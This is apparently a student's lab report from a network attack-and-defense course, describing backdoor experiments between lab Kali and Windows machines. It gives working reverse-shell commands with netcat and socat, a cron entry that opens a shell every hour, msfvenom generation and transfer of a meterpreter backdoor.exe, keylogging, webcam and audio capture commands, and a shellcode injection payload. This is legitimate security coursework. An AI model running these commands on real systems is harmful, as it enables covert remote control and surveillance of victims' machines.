2019-2020-2 网络对抗技术 20175217 Exp2 后门原理与实践

##一、实验目标

  • 清楚后门概念
  • 会用nc获取远程主机的Shell
  • 会用meterpreter
  • 会启动后门

##二、实验内容

  • 使用netcat获取主机操作Shell,cron启动

  • 使用socat获取主机操作Shell, 任务计划启动

  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

##三、基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

  • 当捡到一个U盘时,会尝试着插入自己的电脑,当U盘插入后后门可能进入系统
  • 当下载一个软件时,后门可能同时被安装在你的系统中了
  • 当你在网页上点击一个按钮时,后门可能会被安装在你的电脑里

例举你知道的后门如何启动起来(win及linux)的方式?

  • 在开机的时候自启动(Windows注册表)
  • 被设置了定时启动(Linux的crontab)
  • 作为服务启动
  • 被其他主机控制,从而启动

Meterpreter有哪些给你映像深刻的功能?

  • 除了本次实验中完成的获取被控主机的录音、录像、截图、键盘输入记录等功能,还有从被控主机上对相关的文件进行下载和上传,远程操控目标机上的程序运行等功能。

如何发现自己有系统有没有被安装后门?

  • 检查注册表中是否有异常的自启动项
  • 通过杀毒软件对系统进行检测
  • 通过nestat -na查看是否有异常开放的端口
  • 检查系统日志是否存在异常

##四、基本工具熟悉 ###1.NC 或 netcat

  • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

####(1)Win获得Linux Shell

  • windows 打开监听E: c cat>ncat.exe -l -p 5217
  • Linux反弹连接nc 192.168.43.98 5217 -e /bin/sh
  • windows下获得一个linux shell,可运行任何指令,如lspwd...

####(2)Linux获得Win Shell

  • Linux运行监听指令nc -l -p 5217
  • Windows反弹连接Linuxncat.exe -e cmd.exe 192.168.189.136 5217
  • Linux下看到Windows的命令提示

####(3)nc传输数据

  • Windows中通过ncat.exe -l 5217 > file1.out监听5217端口,将收到的内容存储在file1.out
  • kali反弹链接Windows的5217端口,nc 192.168.43.98 5217
  • 通过type file1.out在Windows中查看接收到的内容
  • 通过cat file1.in在kali中查看发送的内容

###2.Socat

  • 又称Netcat++,超级netcat工具,是nc的加强版
  • 任何代理、转发等功能都可以用该工具实现
  • 使用方法与nc类似

###3.Meterpreter(使用msfvenom生成后门可执行文件) ####(1)Linux使用MSF生成后门可执行文件,并移动到win

  • Linux通过指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.98 LPORT=5217 -f exe > backdoor.exe生成后门可执行文件,然后移动到Win

  • 参数说明
    • -p:使用的连接(playload)。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
    • -f:生成文件的类型
    • LHOST:反弹回连的IP
    • LPORT:回连的端口
    • >: 输出到哪个文件

####(2)Linux使用MSF打开监听进程

  • 在Linux中输入msfvenom进入MSF
  • 輸入use exploit/multi/handler进入handler
  • 输入set payload windows/meterpreter/reverse_tcp设置连接(playload)
  • 输入show options查看设置是否正确
  • 输入set LHOST 192.168.189.136设置ip地址(Linux地址)
  • 输入set LPORT 5217设置端口号
  • 输入show options再次查看设置是否正确
  • 输入exploit打开监听

  • 说明:
    • LHOST需要和上一步生成backdoor.exe的一致,本例中即192.168.189.136;
    • LPORT也需要和上一步生成backdoor.exe的一致,即5217;
    • payload也要一致,即windows/meterpreter/reverse_tcp。

####(3)在Win平台双击运行backdoor.exe

  • Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell:

###4.cron

  • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以man cron

####(1)增加一条定时任务

  • 使用crontab -e指令-e表示编辑,根据提示选择3

  • 在最后一行添加17 * * * * /bin/netcat 192.168.43.98 5217 -e /bin/sh意思是,每个小时的第17分钟反向连接Windows主机的5217端口(从左至右参数一次为:分,小时,日,月,年)

  • 保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list。

  • 每个小时到了17分,上面的那条指令就会执行。

  • 在win主机192.168.43.98让nc侦听在5217端口,那到了17分就会有获得一个shell。

##四、实验任务

###任务一:使用netcat获取主机操作Shell,cron启动

####1.思路

  • 在windows里监听
  • 在Linux里利用corn设置定时启动反弹指令

####2.步骤

  • 在Win主机监听5217端口

  • 在Kali中,用crontab -e指令编辑一条定时任务

  • 在每个小时的17分,kali自动执行定时任务,此时win就获得了Kali的shell,可以输入指令

###任务二:使用socat获取主机操作Shell, 任务计划启动 ####1.思路

  • 在Windows中创建socat连接任务
  • 在Linux中利用socat连接被控主机(Windows),即可获取shell

####2.步骤

  • 在“计算机管理”中的“任务计划程序”点击“创建任务”

  • 填写任务名称,并新建一个触发器

  • 点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5217 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5217 ,同时把cmd.exe的stderr重定向到stdout上;

  • 创建完成后可以看到任务的状态为准备就绪

  • 此时,在Kali中输入指令socat - tcp:192.168.43.98:5217,即可发现已经成功获得了一个cmd shell

###任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell ####1.思路

  • 在Linux中使用MSF生成后门可执行文件
  • 将该文件通过nc传到被控主机(Windows)
  • 在Linux上使用MSF打开监听
  • 在Windows上运行后门程序
  • Linux成功获取shell

####2.步骤

  • Linux通过指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.98 LPORT=5217 -f exe > backdoor.exe生成后门可执行文件

  • 通过ncat.exe -lv 5217 > backdoor.exe指令将被控制主机进入接受文件模式

  • 在kali中执行nc 192.168.43.98 5217 < backdoor.exe,注意这里的IP为被控主机(win)的IP

  • 传送接收文件成功

  • 在kali上使用MSF打开监听(具体方法见第三部分)

  • 在Windows下运行后门程序backdoor.exe,运行前应提前关闭杀毒软件的防护

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

###任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容 ####1.思路

  • 通过MSF meterpreter的一系列指令实现功能

####2.步骤

  • 使用record_mi指令截获一段音频

  • 使用webcam_snap指令使用摄像头进行拍照

  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

  • 使用screenshot指令进行截屏

###任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 参考了组长的博客,提供了两种方法,个人认为方法一好像不太符合要求,方法二更合理一点,但考虑到都能实现功能,就都做了

####1.方法一思路

  • 本机使用MSF生成与实验一的pwn1可执行文件绑定的后门可执行文件,并传输到被攻击的机器
  • 本机打开MSF监听
  • 被攻击主机运行后门可执行文件
  • 获取shell成功

####2.方法一步骤

  • 使用MSF,输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1.bak LHOST=192.168.43. LPORT=5209 -f elf > pwn1_exp2 生成与pwn1```绑定的后门程序
  • (并使用nc等传输到受控主机)

  • 使用MSF打开监听

  • 在受控主机运行后门程序

  • 控制成功,成功获得shell

####3.方法二思路

  • 从网站下载反弹连接shellcode
  • 分析得到用于注入的shellcode文件
  • 在本机打开MSF监听
  • 在被控主机运行注入shellcode的pwn1文件

####4.方法二步骤

  • 网站下载代码后,结合实验一的返回地址,得到用于注入的input_shellcode
perl -e 'print "A" x 32;print"xb0xd1xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode

  • 使用MSF打开监听,(并将后门程序通过nc等方式传输到被控主机)

  • 在另一终端(被控主机)运行注入shellcode后的pwn3

  • 控制成功,成功获得shell

##五、遇到的问题和解决

问题一:

  • kali卡死后强制退出,之后就进不去了

解决一:

  • 首先,按照百度上的提示,将权限改为管理员

  • 然后,它换了一种报错方式

  • 接着,打开任务管理器将与wm相关的进程全部杀死后,重启主机,就好了~

问题二:

  • kali突然连不上网了

解决二:

  • 通过ifconfig -a发现eth0停止工作了

  • 通过修改etc/network/interfaces,添加后两行
auto eth0
iface eth0 inet dhcp
  • 最后,在终端里输入/etc/init.d/networking restart重置网络,就OK了~

问题三:

  • 使用MSF监听时,发现一直连不上

解决三:

  • 发现是地址输的有问题,这里输入的应该是本机地址

##六、实验心得体会        本次实验做的是后门,这次原理理解方面没有上次那么晦涩难懂,主要就是软件使用方面比较麻烦,特比较容易出问题,稍有不注意自己的思路就会乱掉。        这次实验我同样是参考老师的实验指导和组长的博客完成的,但与上次不同的是,这次出现的问题我都是自己先尽力自己解决,再去问同学,这样虽然做的慢了些,但对知识的理解更加深入,软件的使用更加熟练。        这次实验虽然使我对后门有了一定的理解,但是一些比较深的理论方面的东西还是理解的不是很到位,还是有一些问题的吧,之后我会继续努力的。

##七、参考链接

原文地址:https://www.cnblogs.com/wyf20175217/p/12483897.html